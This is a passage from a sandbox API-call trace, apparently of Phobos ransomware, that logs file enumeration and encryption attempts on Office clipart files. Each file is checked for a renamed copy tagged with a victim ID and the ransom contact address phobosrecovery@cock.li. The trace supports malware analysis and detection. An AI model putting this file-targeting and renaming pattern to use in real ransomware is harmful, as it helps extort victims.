dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x584 [0153.925] GetFileSizeEx (in: hFile=0x584, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=10762) returned 1 [0153.925] CloseHandle (hObject=0x584) returned 1 [0153.925] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL00256_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sl00256_.wmf")) returned 0x220 [0153.925] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL00256_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sl00256_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.925] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL00256_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sl00256_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.925] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0153.925] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL00260_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sl00260_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x584 [0153.926] GetFileSizeEx (in: hFile=0x584, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=31908) returned 1 [0153.926] CloseHandle (hObject=0x584) returned 1 [0153.926] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL00260_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sl00260_.wmf")) returned 0x220 [0153.926] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL00260_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sl00260_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.926] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL00260_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sl00260_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.926] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0153.926] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL00268_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sl00268_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x584 [0153.927] GetFileSizeEx (in: hFile=0x584, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=3932) returned 1 [0153.927] CloseHandle (hObject=0x584) returned 1 [0153.927] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL00268_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sl00268_.wmf")) returned 0x220 [0153.927] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL00268_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sl00268_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.927] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL00268_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sl00268_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.927] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0153.927] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL00286_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sl00286_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x584 [0153.928] GetFileSizeEx (in: hFile=0x584, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=7596) returned 1 [0153.928] CloseHandle (hObject=0x584) returned 1 [0153.928] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL00286_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sl00286_.wmf")) returned 0x220 [0153.928] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL00286_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sl00286_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.928] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL00286_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sl00286_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.928] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0153.928] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL00298_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sl00298_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x584 [0153.929] GetFileSizeEx (in: hFile=0x584, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=4712) returned 1 [0153.929] CloseHandle (hObject=0x584) returned 1 [0153.929] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL00298_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sl00298_.wmf")) returned 0x220 [0153.929] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL00298_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sl00298_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.929] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL00298_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sl00298_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.929] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0153.929] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL00308_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sl00308_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x584 [0153.930] GetFileSizeEx (in: hFile=0x584, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=8416) returned 1 [0153.930] CloseHandle (hObject=0x584) returned 1 [0153.930] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL00308_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sl00308_.wmf")) returned 0x220 [0153.930] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL00308_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sl00308_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.930] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL00308_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sl00308_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.930] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0153.931] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL00345_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sl00345_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x584 [0153.932] GetFileSizeEx (in: hFile=0x584, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=2788) returned 1 [0153.932] CloseHandle (hObject=0x584) returned 1 [0153.932] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL00345_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sl00345_.wmf")) returned 0x220 [0153.933] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL00345_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sl00345_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.933] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL00345_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sl00345_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.934] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0153.934] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL00452_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sl00452_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x584 [0153.935] GetFileSizeEx (in: hFile=0x584, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=1344) returned 1 [0153.935] CloseHandle (hObject=0x584) returned 1 [0153.935] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL00452_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sl00452_.wmf")) returned 0x220 [0153.935] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL00452_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sl00452_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.935] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL00452_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sl00452_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.935] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0153.935] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL00712_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sl00712_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x584 [0154.034] GetFileSizeEx (in: hFile=0x584, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=7608) returned 1 [0154.034] CloseHandle (hObject=0x584) returned 1 [0154.034] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL00712_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sl00712_.wmf")) returned 0x220 [0154.034] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL00712_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sl00712_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.035] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL00712_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sl00712_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.035] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0154.035] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00333_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00333_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x584 [0154.036] GetFileSizeEx (in: hFile=0x584, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=61002) returned 1 [0154.037] CloseHandle (hObject=0x584) returned 1 [0154.037] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00333_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00333_.wmf")) returned 0x220 [0154.037] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00333_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00333_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.037] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00333_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00333_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.037] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0154.037] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00345_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00345_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x584 [0154.038] GetFileSizeEx (in: hFile=0x584, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=35734) returned 1 [0154.038] CloseHandle (hObject=0x584) returned 1 [0154.038] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00345_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00345_.wmf")) returned 0x220 [0154.038] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00345_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00345_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.038] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00345_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00345_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.038] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0154.038] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00350_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00350_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x584 [0154.039] GetFileSizeEx (in: hFile=0x584, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=48096) returned 1 [0154.039] CloseHandle (hObject=0x584) returned 1 [0154.039] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00350_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00350_.wmf")) returned 0x220 [0154.039] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00350_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00350_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.039] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00350_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00350_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.039] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0154.039] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00352_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00352_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x584 [0154.040] GetFileSizeEx (in: hFile=0x584, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=37708) returned 1 [0154.040] CloseHandle (hObject=0x584) returned 1 [0154.040] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00352_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00352_.wmf")) returned 0x220 [0154.040] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00352_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00352_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.040] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00352_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00352_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.040] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0154.040] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00364_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00364_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x584 [0154.040] GetFileSizeEx (in: hFile=0x584, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=6472) returned 1 [0154.041] CloseHandle (hObject=0x584) returned 1 [0154.041] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00364_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00364_.wmf")) returned 0x220 [0154.041] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00364_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00364_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.041] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00364_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00364_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.041] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0154.041] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00367_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00367_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x584 [0154.041] GetFileSizeEx (in: hFile=0x584, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=20970) returned 1 [0154.041] CloseHandle (hObject=0x584) returned 1 [0154.041] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00367_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00367_.wmf")) returned 0x220 [0154.041] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00367_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00367_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.042] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00367_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00367_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.042] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0154.042] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00373_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00373_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x584 [0154.043] GetFileSizeEx (in: hFile=0x584, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=13064) returned 1 [0154.043] CloseHandle (hObject=0x584) returned 1 [0154.043] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00373_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00373_.wmf")) returned 0x220 [0154.043] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00373_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00373_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.043] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00373_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00373_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.043] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0154.043] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00382_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00382_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x584 [0154.044] GetFileSizeEx (in: hFile=0x584, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=10228) returned 1 [0154.045] CloseHandle (hObject=0x584) returned 1 [0154.045] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00382_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00382_.wmf")) returned 0x220 [0154.045] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00382_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00382_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.045] CreateFileW 